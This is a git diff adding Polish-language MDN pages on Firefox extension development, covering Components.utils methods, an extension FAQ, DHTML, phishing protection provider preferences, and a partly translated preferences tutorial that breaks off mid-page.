+ <dd>Jest to bardzo eksperymentalna funkcja,która pozwala na znacznie szybszą nawigację po historii. Ta funkcja jest domyślnie wyłączona, ale może zostać włączona do celów testowych przez ustawienie właściwości <code>browser.sessionhistory.max_viewers</code> na wartość niezerową.</dd>
+</dl>
+
+<dl>
+ <dt>Obsługą nie anonimowych połączeń FTP</dt>
+ <dd>Użytkownicy FTP są teraz proszeni o podanie loginu oraz hasła jeśli połączenie anonimowe nie uda się.</dd>
+</dl>
+
+<dl>
+ <dt>Reguła @ CSS do wybierania strony/dokumentu</dt>
+ <dd>Nowa reguła <code>@-moz-document</code> daje użytkownikom możliwość dopasowania obiektów dla strony, przy użyciu CSS. To pozwala włączać reguły specyficzne dla danej strony do arkusza stylów użytkownika (userContent.css). <a class="external" href="http://lists.w3.org/Archives/Public/www-style/2004Aug/0135.html">Post Davida Barona na <code>www-style</code></a> tłumaczy jak ta reguła może zostać wykorzystana.</dd>
+</dl>
diff --git a/files/pl/components.utils.reporterror/index.html b/files/pl/components.utils.reporterror/index.html
new file mode 100644
index 0000000000..61ff725770
--- /dev/null
+++ b/files/pl/components.utils.reporterror/index.html
@@ -0,0 +1,32 @@
+---
+title: Components.utils.reportError
+slug: Components.utils.reportError
+tags:
+ - Wszystkie_kategorie
+ - XPConnect
+translation_of: Mozilla/Tech/XPCOM/Language_Bindings/Components.utils.reportError
+---
+<p>
+</p><p><code>Components.utils.reportError</code> zgłasza obiekt Error JavaScriptu do <a href="pl/Konsola_b%c5%82%c4%99d%c3%b3w">konsoli błędów</a>. Powinna być wykorzystywana w blokach obsługi wyjątków, które chcą zgłosić dany problem do konsoli.
+</p><p>Metoda ta musi być wywołana z jednym parametrem, którym zwykle jest obiekt przechwycony przez kod obsługi wyjątków. Jeśli parametrem nie jest obiekt Error, parametr konwertowany jest na ciąg znaków i zgłaszany jako nowy błąd. Oznacza to, że metodę <code>Components.utils.reportError</code> można używać do wysyłania do konsoli błędów wiadomości debugowania, w sposób podobny do tego, w jaki można korzystać z <a href="pl/DOM/window.dump">dump()</a> do wypisywania wiadomości na konsolę natywną.
+</p><p>Do informacji dziennika należy jednak używać <a href="pl/NsIConsoleService">nsIConsoleService</a>, jako że interfejs ten wysyła wiadomości o zwykłym priorytecie, w przeciwieństwie do <code>reportError</code>.
+</p>
+<pre class="eval">function myDump(aMessage) {
+ var consoleService = Components.classes["@mozilla.org/consoleservice;1"]
+ .getService(Components.interfaces.nsIConsoleService);
+ consoleService.logStringMessage("Mój komponent: " + aMessage);
+}
+</pre>
+<h3 id="Przykłady"> Przykłady </h3>
+<p>Zastosowanie w obsłudze wyjątków:
+</p>
+<pre class="eval">try {
+ ten.kod.wyrzuca.wyjątek;
+} catch(e) {
+ Components.utils.reportError(e); // wyślij informację o błędzie do konsoli i kontynuuj wykonanie
+}
+</pre>
+<p>Wypisywanie informacji debugowania w konsoli błędów:
+</p>
+<pre class="eval">Components.utils.reportError("init() called");
+</pre>
diff --git a/files/pl/components.utils.sandbox/index.html b/files/pl/components.utils.sandbox/index.html
new file mode 100644
index 0000000000..f6a2b0babc
--- /dev/null
+++ b/files/pl/components.utils.sandbox/index.html
@@ -0,0 +1,8 @@
+---
+title: Components.utils.Sandbox
+slug: Components.utils.Sandbox
+translation_of: Mozilla/Tech/XPCOM/Language_Bindings/Components.utils.Sandbox
+---
+<p>
+</p><p><code>Components.utils.Sandbox</code> wykorzystywany jest do tworzenia obiektów piaskownicy do użycia w <a href="pl/Components.utils.evalInSandbox">evalInSandbox</a>. Więcej informacji i przykłady można znależć na tamtej stronie.
+</p>
diff --git a/files/pl/components.utils/index.html b/files/pl/components.utils/index.html
new file mode 100644
index 0000000000..e5a20d458f
--- /dev/null
+++ b/files/pl/components.utils/index.html
@@ -0,0 +1,35 @@
+---
+title: Components.utils
+slug: Components.utils
+tags:
+ - Wszystkie_kategorie
+ - XPConnect
+translation_of: Mozilla/Tech/XPCOM/Language_Bindings/Components.utils
+---
+<p>
+</p><p><code>Components.utils</code> to kolekcja różnych przydatnych, ale nie niezbędnych funkcji XPConnect. Interfejs tego obiektu został zdefiniowany w {{ Source("js/src/xpconnect/idl/xpccomponents.idl") }}. Obecnie obiekt ten ma następujące pola i metody:
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Własność</th>
+<th>Opis</th>
+</tr>
+<tr>
+<td><a href="pl/Components.utils.lookupMethod">lookupMethod</a></td>
+<td>Odszukuje natywną (tj. zdefiniowaną w interfejsie) metodę lub własność obiektu XPCOM. Spełnia tę samą funkcję co <a href="pl/XPCNativeWrapper">XPCNativeWrapper</a>.</td>
+</tr>
+<tr>
+<td><a href="pl/Components.utils.reportError">reportError</a></td>
+<td>Zgłasza obiekt Error JavaScriptu do konsoli błędów.</td>
+</tr><tr>
+<td><a href="pl/Components.utils.Sandbox">Sandbox</a></td>
+<td>Tworzy obiekty piaskownicy (sandbox) do wykorzystania w <code>evalInSandbox</code>.</td>
+</tr>
+<tr>
+<td><a href="pl/Components.utils.evalInSandbox">evalInSandbox</a></td>
+<td>Wykonuje kod JavaScriptu w piaskownicy, zwykle wykorzystywana do wykonywania kodu z ograniczonymi uprawnieniami.</td>
+</tr>
+</tbody></table>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Components.utils", "fr": "fr/Components.utils", "ja": "ja/Components.utils" } ) }}
diff --git a/files/pl/często_zadawane_pytania_dotyczące_rozszerzeń/index.html b/files/pl/często_zadawane_pytania_dotyczące_rozszerzeń/index.html
new file mode 100644
index 0000000000..6ca922d141
--- /dev/null
+++ b/files/pl/często_zadawane_pytania_dotyczące_rozszerzeń/index.html
@@ -0,0 +1,68 @@
+---
+title: Często zadawane pytania dotyczące rozszerzeń
+slug: Często_zadawane_pytania_dotyczące_rozszerzeń
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Wszystkie_kategorie
+translation_of: Archive/Mozilla/Extension_Frequently_Asked_Questions
+---
+<p>
+</p><p>W tym artykule przedstawiono rozwiązania kilku najczęściej spotykanych problemów związanych z programowaniem <a href="pl/Rozszerzenia">rozszerzeń</a>. Dotyczą one przede wszystkim przeglądarki Firefox, ale co najmniej większość z nich może zostać zastosowana w programach SeaMonkey, Thunderbird i innych aplikacjach Mozilli.
+</p><p>Jeżeli dopiero zaczynasz programowanie rozszerzeń, zapoznaj się z poradnikiem <a href="pl/Tworzymy_rozszerzenie">Tworzymy rozszerzenie</a> lub artykułem <a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">Wprowadzenie do programowania rozszerzeń</a> dostępnym w witrynie MozillaZine. Aby utworzyć szablon rozszerzenia, który będzie można potem rozbudować i dostosować do własnych potrzeb, skorzystaj z <a class="external" href="http://ted.mielczarek.org/code/mozilla/extensionwiz/">Kreatora rozszerzeń</a>.
+</p><p>Nie zapomnij o <a href="pl/Przygotowanie_%c5%9brodowiska_programowania_rozszerzenia">przygotowaniu środowiska programowania rozszerzenia</a>.
+</p>
+<h3 id="Debugowanie" name="Debugowanie"> Debugowanie </h3>
+<p>Przed rozpoczęciem debugowania rozszerzenia należy <a href="pl/Przygotowanie_%c5%9brodowiska_programowania_rozszerzenia">przygotować środowisko programowania rozszerzenia</a>.
+</p><p>Debuger języka JavaScript <a href="pl/Venkman">Venkman</a> może być przydatnym narzędziem analizy skomplikowanego kodu; korzystając z niego, należy pamiętać o wyłączeniu opcji "Debug -&gt; Exclude Browser Files" podczas pracy nad kodem rozszerzenia.
+</p>
+<h4 id="Jak_wy.C5.9Bwietli.C4.87_b.C5.82.C4.99dy_w_moim_kodzie.3F" name="Jak_wy.C5.9Bwietli.C4.87_b.C5.82.C4.99dy_w_moim_kodzie.3F"> Jak wyświetlić błędy w moim kodzie? </h4>
+<p>Po <a href="pl/Przygotowanie_%c5%9brodowiska_programowania_rozszerzenia">ustawieniu wartości <b>true</b> dla preferencji <b>javascript.options.showInConsole</b></a> komunikaty o błędach będą wyświetlane w <a href="pl/Konsola_b%c5%82%c4%99d%c3%b3w">Konsoli błędów</a>. Rejestrowanie wszystkich błędów JavaScript w konsoli znacznie ułatwia odnalezienie błędów w tworzonym kodzie.
+</p>
+<h4 id="Jak_sprawdzi.C4.87.2C_jakie_operacje_wykonuje_moje_rozszerzenie.3F" name="Jak_sprawdzi.C4.87.2C_jakie_operacje_wykonuje_moje_rozszerzenie.3F"> Jak sprawdzić, jakie operacje wykonuje moje rozszerzenie? </h4>
+<p>Do wyświetlania wartości zmiennych i debugowania tekstu można skorzystać z metod <code><a href="pl/DOM/window.alert">alert()</a></code>, <code><a href="pl/DOM/window.dump">dump()</a></code> i <code><a href="pl/Components.utils.reportError">Components.utils.reportError()</a></code> oraz <a href="pl/NsIConsoleService">interfejsu usługi konsoli</a>. Można także zainstalować <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/216">dodatek debugera JavaScript Venkman</a>.
+</p>
+<h4 id="Dlaczego_m.C3.B3j_skrypt_nie_dzia.C5.82a_poprawnie.3F" name="Dlaczego_m.C3.B3j_skrypt_nie_dzia.C5.82a_poprawnie.3F"> Dlaczego mój skrypt nie działa poprawnie? </h4>
+<p>Jeżeli skrypt nie działa w oczekiwany sposób, najpierw należy sprawdzić Konsolę błędów (patrz <a href="#Jak_wy.C5.9Bwietli.C4.87_b.C5.82.C4.99dy_w_moim_kodzie.3F">wyżej</a>).
+</p><p>Jednym z powszechnie popełnianych błędów jest próba uzyskania dostępu do obiektu DOM okna przed pełnym załadowaniem go przez przeglądarkę. Sytuacja ta występuje wówczas, gdy kod inicjalizujący jest umieszczony na najwyższym poziomie w skrypcie (tzn. nie znajduje się wewnątrz żadnej funkcji). Rozwiązaniem jest użycie obserwatora zdarzenia <code>load</code> (ang. <i>event listener</i>) w celu opóźnienia wykonania kodu do momentu zakończenia ładowania danych w oknie:
+</p>
+<pre class="eval">function exampleBrowserStartup(event)
+{
+ // tutaj należy umieścić kod wykonywany na początku skryptu
+}
+window.addEventListener("load", exampleBrowserStartup, false);
+</pre>
+<h4 id="Nie_mo.C5.BCna_uzyska.C4.87_dost.C4.99pu_do_obiektu_document_bie.C5.BC.C4.85cej_strony" name="Nie_mo.C5.BCna_uzyska.C4.87_dost.C4.99pu_do_obiektu_document_bie.C5.BC.C4.85cej_strony"> Nie można uzyskać dostępu do obiektu <code>document</code> bieżącej strony </h4>
+<p>Aby uzyskać dostęp do obiektu <code>document</code> bieżącej strony z poziomu nakładki <code>browser.xul</code>, należy użyć obiektu <code>content.document</code> — obiekt <code>document</code> odnosi się bowiem do obiektu <code>document</code> okna przeglądarki. Więcej informacji można znaleźć w artykule <a href="pl/Korzystanie_z_okien_w_kodzie_chrome#Okna_zawarto.C5.9Bci">Korzystanie z okien w kodzie chrome</a>.
+</p><p>Ponadto obiekt <a href="pl/XPCNativeWrapper">XPCNativeWrapper</a> domyślnie blokuje między innymi dostęp do obiektów zdefiniowanych przez skrypty działające na stronie internetowej.
+</p>
+<h4 id="Wyst.C4.85pi.C5.82_b.C5.82.C4.85d_przetwarzania_kodu_XML.2C_ale_plik_wygl.C4.85da_na_poprawny" name="Wyst.C4.85pi.C5.82_b.C5.82.C4.85d_przetwarzania_kodu_XML.2C_ale_plik_wygl.C4.85da_na_poprawny"> Wystąpił błąd przetwarzania kodu XML, ale plik wygląda na poprawny </h4>
+<p>Częstą przyczyną błędów przetwarzania (oznaczanych <font color="red">czerwonym tekstem</font> i znakami <font color="red">-------------^</font> znajdującymi się pod błędnym kodem) są znaki &amp; i &lt; umieszczone w skrypcie lub w wartości atrybutu. Znaki te mają specjalne znaczenie w języku XML. Oto przykład:
+</p>
+<pre class="eval">&lt;button oncommand="window.open('<span class="nowiki">http://przykladowastrona.pl/</span>q?parametr1=wartosc<b>&amp;parametr2</b>=wartosc2')"/&gt;
+</pre>
+<p>lub
+</p>
+<pre class="eval">&lt;script&gt;function lesser(a,b) { return <b>a &lt; b</b> ? a : b; }&lt;/script&gt;
+</pre>
+<p>Problem można rozwiązać na jeden z podanych sposobów:
+</p>
+<ol>
+<li>Zastąpić dany znak jego wersją, która nie powoduje konfliktu w kodzie XML (np.: "&amp;" -&gt; "&amp;amp;", "&lt;" -&gt; "&amp;lt;")</li>
+<li>W przypadku użycia znaków w węźle tekstowym, takim jak skrypt, umieścić znaczniki CDATA na początku i na końcu kodu:
+<pre>&lt;script&gt;&lt;![CDATA[
+ function lesser(a,b) {
+ return a &lt; b ? a : b;
+ }
+ ]]&gt;&lt;/script&gt;</pre>
+</li>
+<li>Umieścić kod skryptu w osobnym pliku i dołączyć ten plik, korzystając ze znacznika <code>script</code>:
+<pre>&lt;script type="application/x-javascript" src="mojskrypt.js"/&gt;</pre>
+</li></ol>
+<h3 id="Przyk.C5.82adowy_kod" name="Przyk.C5.82adowy_kod"> Przykładowy kod </h3>
+<p>Najprostszym sposobem utworzenia kodu wykonującego daną operację jest znalezienie rozszerzenia (lub części samej Mozilli) wykonującego tę operację i analiza jego kodu. (Pliki XPI i JAR to archiwa w formacie ZIP ze zmienionym rozszerzeniem pliku). </p><p>Dostępna jest także dokumentacja: <a>lista artykułów MDC dotyczących tworzenia rozszerzeń</a>, <a href="pl/Fragmenty_kodu">Fragmenty kodu</a> oraz <a class="external" href="http://kb.mozillazine.org/Category:Example_code">Przykłady kodu w witrynie MozillaZine</a>.
+</p>
+<h3 id="Gdzie_mog.C4.99_uzyska.C4.87_dodatkow.C4.85_pomoc.3F" name="Gdzie_mog.C4.99_uzyska.C4.87_dodatkow.C4.85_pomoc.3F"> Gdzie mogę uzyskać dodatkową pomoc? </h3>
+<p>Zobacz <a href="pl/Rozszerzenia/Inne_zasoby">Rozszerzenia:Inne zasoby</a> i <a href="pl/Rozszerzenia/Spo%c5%82eczno%c5%9b%c4%87">Rozszerzenia:Społeczność</a>.
+</p><p>Zanim poprosisz o pomoc, upewnij się, czy <a href="#Debugowanie">preferencje dotyczące debugowania</a> są ustawione prawidłowo i czy <a href="#Jak_wy.C5.9Bwietli.C4.87_b.C5.82.C4.99dy_w_moim_kodzie.3F">sprawdzono odpowiednie komunikaty w Konsoli błędów</a>. Nie zapomnij także o przeszukaniu Internetu przed zadaniem pytania. I oczywiście zapoznaj się z niniejszą listą często zadawanych pytań!
+</p>{{ languages( { "de": "de/Erweiterungen_FAQ", "en": "en/Extension_Frequently_Asked_Questions", "es": "es/Preguntas_frecuentes_sobre_Extensiones", "fr": "fr/Foire_aux_questions_sur_les_extensions", "it": "it/Domande_frequenti_sulle_Estensioni", "ja": "ja/Extension_Frequently_Asked_Questions", "ru": "ru/FAQ_\u043f\u043e_\u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u043c" } ) }}
diff --git a/files/pl/dhtml/index.html b/files/pl/dhtml/index.html
new file mode 100644
index 0000000000..5728cb4139
--- /dev/null
+++ b/files/pl/dhtml/index.html
@@ -0,0 +1,37 @@
+---
+title: DHTML
+slug: DHTML
+tags:
+ - DHTML
+ - Wszystkie_kategorie
+translation_of: Glossary/DHTML
+---
+<p>
+</p>
+<div>
+<b>DHTML to skrót od "dynamic HTML"</b> (<b>Dynamiczny HTML</b>). Termin DHTML jest używany do określania kodu używanego do tworzenia interaktywnych stron www, które nie używają wtyczek takich jak Flash czy Java. DHTML określa zbiór funkcjonalności oferowanych przez technologie takie jak <a href="pl/HTML">HTML</a>, <a href="pl/CSS">CSS</a>, <a href="pl/DOM">DOM</a> i <a href="pl/JavaScript">JavaScript</a>.</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Dokumentacja" name="Dokumentacja"> <a>Dokumentacja</a> </h4>
+<p><span class="alllinks"><a>Pokaż wszystkie...</a></span>
+</p>
+</td>
+<td>
+<h4 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87"> Społeczność </h4>
+<ul><li> Obejrzyj fora Mozilli...
+</li></ul>
+<p>{{ DiscussionList("dev-ajax", "mozilla.dev.ajax") }}
+</p>
+<h4 id="Narz.C4.99dzia" name="Narz.C4.99dzia"> Narzędzia </h4>
+<ul><li> <a class="link-https" href="https://addons.mozilla.org/extensions/moreinfo.php?id=1843&amp;application=firefox">Firebug - rozszerzenie Firefoksa</a>
+</li></ul>
+<h4 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy"> Powiązane tematy </h4>
+<dl><dd> <a href="pl/AJAX">AJAX</a>, <a href="pl/CSS">CSS</a>, <a href="pl/DOM">DOM</a>, <a href="pl/HTML">HTML</a>, <a href="pl/JavaScript">JavaScript</a>
+</dd></dl>
+</td>
+</tr>
+</tbody></table>
+<p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "en": "en/DHTML", "es": "es/DHTML", "fr": "fr/DHTML", "ja": "ja/DHTML", "ko": "ko/DHTML", "pt": "pt/DHTML" } ) }}
diff --git a/files/pl/dodawanie_dostawców_danych_ochrony_przed_phishingiem/index.html b/files/pl/dodawanie_dostawców_danych_ochrony_przed_phishingiem/index.html
new file mode 100644
index 0000000000..c1f01ac23b
--- /dev/null
+++ b/files/pl/dodawanie_dostawców_danych_ochrony_przed_phishingiem/index.html
@@ -0,0 +1,47 @@
+---
+title: Dodawanie dostawców danych ochrony przed phishingiem
+slug: Dodawanie_dostawców_danych_ochrony_przed_phishingiem
+translation_of: Mozilla/Adding_phishing_protection_data_providers
+---
+<p>
+</p><p>Technologia ochrony przed phishingiem pozwala Firefoksowi chronić użytkowników poprzez porównywanie adresów URL, które użytkownik odwiedza, z czarną listą fałszywych stron i pokazując ostrzeżenie użytkownikowi, gdy odwiedzi on stronę z takiej listy.
+</p>
+<h2 id="Instalowanie_nowego_dostawcy_danych">Instalowanie nowego dostawcy danych</h2>
+<p>Aby zainstalować dostawcę danych ochrony przed phishingiem, konieczne jest ustawienie serii opcji, w celu dostarczenia szczegółów o dostawcy.
+</p><p>Każdy dostawca danych posiada unikatowy numer ID. Dostawca danych z numerem ID 0 jest domyślnie dostarczany z Firefoksem. Podczas instalacji nowego dostawcy, powinieneś użyć następnego, nieużywanego numeru.
+</p><p>Aby znaleźć numer ID dostępny do użycia, możesz stworzyć pętlę, która wysyła żądanie wartości <code>browser.safebrowsing.provider.0.name</code>, następnie <code>browser.safebrowsing.provider.1.name</code> i tak dalej, dopóki nie zostanie zwrócona żadna wartość. Możesz wtedy użyć tej wartości.
+</p><p>Możesz znaleźć przykłady jak odczytywać i zapisywać opcje w artykule <a href="pl/Dodawanie_preferencji_do_rozszerzenia">Dodawanie preferencji do rozszerzenia</a>.
+</p>
+<h3 id=".C5.BB.C4.85dane_opcje">Żądane opcje</h3>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.name</code>
+</dt><dd> Nazwa dostawcy danych, która zostanie pokazana użytkownikowi.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.keyURL</code>
+</dt><dd> Adres URL, który zwraca prywatny klucz do użycia w celu zaszyfrowania pozostałych żądań.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.lookupURL</code>
+</dt><dd> Adres URL, który zostanie użyty do sprawdzenia czy podane adresy URL znajdują się na czarnej liście. To żądanie musi być zaszyfrowane za pomocą prywatnego klucza zwróconego przez żądanie <code>keyURL</code>.
+</dd></dl>
+<h3 id="Dodatkowe_opcje">Dodatkowe opcje</h3>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.reportURL</code>
+</dt><dd> Adres URL używany do raportowania kiedy użytkownicy odwiedzają stronę phishingową i czy biorą oni pod uwagę ostrzeżenie, czy też je ignorują.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.updateURL</code>
+</dt><dd> Adres URL używany w celu wysłania żądania o uaktualnienie listy stron phishingowych. Serwer dostarcza pełną listę lub rosnące uaktualnienia, w celu zapewnienia klientowi najnowszej tablicy danych.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.reportGenericURL</code>
+</dt><dd> Nie jest obecnie używane; w zamierzeniu przeznaczone do raportowania innych spraw w usłudze ochrony przed phishingiem.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.reportErrorURL</code>
+</dt><dd> Adres URL, na który użytkownik jest kierowany w celu wysłania raportu o bezpiecznej stronie, która została nieprawidłowo oznaczona jako phishingowa.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.reportPhishURL</code>
+</dt><dd> Adres URL, na który użytkownik jest kierowany w celu wysłania raportu o stronie phishingowej, która nie została wykryta przez system ochrony przed phishingiem.
+</dd></dl>
+<h2 id="Okre.C5.9Blanie_obecnie-wybranego_dostawcy_danych">Określanie obecnie-wybranego dostawcy danych</h2>
+<p>Jeśli potrzebujesz określić numer ID obecnie wybranego dostawcy danych anty-phishingowych, możesz sprawdzić wartość opcji <code>browser.safebrowsing.dataProvider</code>.
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Adding_phishing_protection_data_providers", "es": "es/A\u00f1adir_datos_para_la_protecci\u00f3n_anti-phishing", "fr": "fr/Ajout_de_fournisseurs_de_donn\u00e9es_de_protection_anti-phishing", "it": "it/Aggiungere_fornitori_di_dati_anti-phishing", "ja": "ja/Adding_phishing_protection_data_providers", "zh-tw": "zh_tw/\u65b0\u589e\u507d\u9020\u7db2\u7ad9\u6e05\u55ae\u4f86\u6e90" } ) }}
diff --git a/files/pl/dodawanie_preferencji_do_rozszerzenia/index.html b/files/pl/dodawanie_preferencji_do_rozszerzenia/index.html
new file mode 100644
index 0000000000..c87aaeb356
--- /dev/null
+++ b/files/pl/dodawanie_preferencji_do_rozszerzenia/index.html
@@ -0,0 +1,288 @@
+---
+title: Dodawanie preferencji do rozszerzenia
+slug: Dodawanie_preferencji_do_rozszerzenia
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Strony_wymagające_dopracowania
+ - System_preferencji
+ - Wszystkie_kategorie
+ - XUL
+translation_of: Archive/Adding_preferences_to_an_extension
+---
+<p>{{ PreviousNext("Tworzenie rozszerzenia dynamicznego paska stanu", "Lokalizacja rozszerzenia") }} Poniższy artykuł rozszerza <a href="pl/Tworzenie_rozszerzenia_dynamicznego_paska_stanu">Tworzenie rozszerzenia dynamicznego paska stanu</a> poprzez dodanie wyskakującego menu that lets you quickly switch between multiple stocks to watch. It also adds a preference dialog that lets you switch to a stock other than one of the ones included in the popup menu.</p>
+
+<p>As before, concepts covered in the previous articles in this series won't be rehashed here, so if you haven't already seen them:</p>
+
+<ul>
+ <li><a href="pl/Tworzenie_rozszerzenia_paska_stanu">Tworzenie rozszerzenia paska stanu</a></li>
+ <li><a href="pl/Tworzenie_rozszerzenia_dynamicznego_paska_stanu">Tworzenie rozszerzenia dynamicznego paska stanu</a></li>
+</ul>
+
+<p>Also, for reference, you may want to take a look at <a href="pl/System_preferencji">System preferencji</a>.</p>
+
+<h2 id="Pobieranie_przyk.C5.82adu" name="Pobieranie_przyk.C5.82adu">Pobieranie przykładu</h2>
+
+<p>Możesz pobrać przykład, aby użyć go do stworzenia własnego rozszerzenia.</p>
+
+<p><a class="external" href="http://developer.mozilla.org/samples/extension-samples/stockwatcher2.zip">Pobierz przykład</a></p>
+
+<h2 id="Aktualizacja_manifestu" name="Aktualizacja_manifestu">Aktualizacja manifestu</h2>
+
+<p>Musi zostać zaktualizowany manifest instalacyjny oraz <a href="pl/Chrome">Chrome</a>. Zmiany dotyczą przede wszystkim zmiany ID rozszerzenia. Jednakże musimy dodać dodatkową linię do pliku <code>install.rdf</code>:</p>
+
+<pre class="eval"> <span class="nowiki">&lt;em:optionsURL&gt;chrome://stockwatcher2/content/options.xul&lt;/em:optionsURL&gt;</span>
+</pre>
+
+<p>Powyższa linia określa adres URL pliku XUL, który opisuje opcje dialogu.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><span id="result_box" lang="pl"><span class="hps">Należy pamiętać, że</span> <span class="hps">jeśli używasz</span> <span class="hps">kodu z</span> <span class="hps">tego tutoriala</span><span>, aby dodać</span> <span class="hps">do istniejącego</span> <span class="hps">rozszerzenia</span><span>,</span> <span class="hps">należy odinstalować</span> <span class="hps">i ponownie zainstalować</span> <span class="hps">rozszerzenia</span><span>, aby włączyć przycisk</span> <span class="hps">Preferencje</span> <span class="hps">dla</span> <span class="hps">rozszerzenia</span> <span class="hps">na liście</span> <span class="hps">dodatków.</span></span></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Okre.C5.9Blanie_warto.C5.9Bci_domy.C5.9Blnych" name="Okre.C5.9Blanie_warto.C5.9Bci_domy.C5.9Blnych">Określanie wartości domyślnych</h3>
+
+<p>W celu ustawienia domyślnych preferencji należy dodać nowy katalog do paczki rozszerzenia nazwanej "defaults", która będzie zawierał katalog "preferences". Wewnątrz niego tworzymy plik <code>defaults.js</code> opisujący wartości domyślne preferencji:</p>
+
+<pre class="eval"> pref("extensions.stockwatcher2.symbol", "GOOG");
+</pre>
+
+<p>By dowiedzieć się więcej o systemie preferencji przeczytaj <a href="pl/API_Preferencji">API Preferencji</a>.</p>
+
+<h2 id="Kod_JavaScript" name="Kod_JavaScript">Kod JavaScript</h2>
+
+<p>In order to monitor changes to our preferences, we need to install an observer using the <a href="pl/NsIPrefBranch2">nsIPrefBranch2</a> interface. To do that, we need to reimplement our code into an object.</p>
+
+<p>That involves turning each function into a member of the <code>StockWatcher</code> class. Let's take a look at each function in the class.</p>
+
+<h3 id="startup.28.29" name="startup.28.29">startup()</h3>
+
+<p>The <code>StockWatcher.startup()</code> function is called when our extension is first loaded. Its job is to start up the observer to watch for changes to our preferences, instantiate an object to use to manage our preferences, and install an interval routine to update the stock information periodically.</p>
+
+<pre class="eval"> var StockWatcher = {
+ prefs: null,
+ tickerSymbol: "",
+
+ // Initialize the extension
+
+ startup: function()
+ {
+ // Register to receive notifications of preference changes
+
+ this.prefs = Components.classes["@mozilla.org/preferences-service;1"]
+ .getService(Components.interfaces.nsIPrefService)
+ .getBranch("stockwatcher2.");
+ this.prefs.QueryInterface(Components.interfaces.nsIPrefBranch2);
+ this.prefs.addObserver("", this, false);
+
+ this.tickerSymbol = this.prefs.getCharPref("symbol").toUpperCase();
+
+ this.refreshInformation();
+ window.setInterval(this.refreshInformation, 10*60*1000);
+ },
+</pre>
+
+<p>Our object has two member variables. <code>prefs</code> is configured by <code>startup()</code> to reference our extension's preferences, while <code>tickerSymbol</code> indicates the stock symbol to monitor.</p>
+
+<p>The first thing the <code>startup()</code> function does is to get a reference to the preferences for our extension. This is done in two steps:</p>
+
+<ul>
+ <li>First, we get the Preferences service. This component handles preference management for Firefox and any extensions.</li>
+</ul>
+
+<ul>
+ <li>Second, we call <code><a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIPrefService.html#method_getBranch">nsIPrefService.getBranch()</a></code>. This lets us specify a specific branch of the preference tree to access. By default, we would have access to all preferences, but we only want access to those belonging to our own extension, so we specify that we want to access the "stockwatcher2" branch.</li>
+</ul>
+
+<p>After getting the preference branch for our extension, we call the <code><a href="pl/NsISupports/QueryInterface">QueryInterface()</a></code> method on it to be able to use the methods of the <code>nsIPrefBranch2</code> interface.</p>
+
+<p>The next step is to register a preference observer by calling the <code>addObserver()</code> method to establish that whenever any events occur on the preferences, our object (<var>this</var>) receives notification. When events occur, such as a preference being altered, our <code>observe()</code> method will be called automatically.</p>
+
+<p>Now that we're monitoring the preferences, we can set up to watch the stock information and display it in the status bar panel.</p>
+
+<p>The first thing we need to do is get the currently configured stock symbol to watch from the preferences. To do so, we call the <code>nsIPrefBranch.getCharPref()</code> method, specifying that we want the preference named "symbol", which is where we store the user's selection for the stock to watch. We forcibly convert the symbol to upper-case since that's the way stock symbols are normally displayed.</p>
+
+<p>Next, we call our own <code>refreshInformation()</code> method to immediately fetch and display the current information about the stock the extension is configured to monitor. We'll look at the details of how this method works later.</p>
+
+<p>The last thing the <code>startup()</code> method does is to call the <code><a href="pl/DOM/window.setInterval"> window.setInterval()</a></code> DOM method to set up a callback that will automatically run our <code>refreshInformation()</code> method every 10 minutes. The interval time is specified in milliseconds.</p>
+
+<h3 id="shutdown.28.29" name="shutdown.28.29">shutdown()</h3>
+
+<p>The <code>StockWatcher.shutdown()</code> method deactivates the observer on the preferences. This is also where we would add any other shutdown tasks we need to perform.</p>
+
+<pre class="eval"> shutdown: function()
+ {
+ this.prefs.removeObserver("", this);
+ },
+</pre>
+
+<h3 id="observe.28.29" name="observe.28.29">observe()</h3>
+
+<p>The <code>StockWatcher.observe()</code> function is called whenever an event occurs on the preference branch we're watching. For details on how observers work, read up on the <a href="pl/NsIObserver">nsIObserver</a> interface.</p>
+
+<pre class="eval"> observe: function(subject, topic, data)
+ {
+ if (topic != "nsPref:changed")
+ {
+ return;
+ }
+
+ switch(data)
+ {
+ case "symbol":
+ this.tickerSymbol = this.prefs.getCharPref("symbol").toUpperCase();
+ this.refreshInformation();
+ break;
+ }
+ },
+</pre>
+
+<p>The <code>topic</code> parameter indicates what type of event occurred. If it's not <code>nsPref:changed</code>, we simply ignore the event, since all we're interested in is changes to the values of our preferences.</p>
+
+<p>Once we've established that the event is in fact a preference change, we look at the <code>data</code> parameter, which contains the name of the preference that changed. In our example, we only have one preference, but you can monitor as many preferences as you wish here.</p>
+
+<p>If the changed preference is "symbol", we grab the updated value of the preference by calling the <code>nsIPrefBranch.getCharPref()</code> method, and stash it in our <code>tickerSymbol</code> variable.</p>
+
+<p>Once we've gotten the updated preference, we call <code>refreshInformation()</code> to immediately update the display with the new stock's information.</p>
+
+<h3 id="watchStock.28.29" name="watchStock.28.29">watchStock()</h3>
+
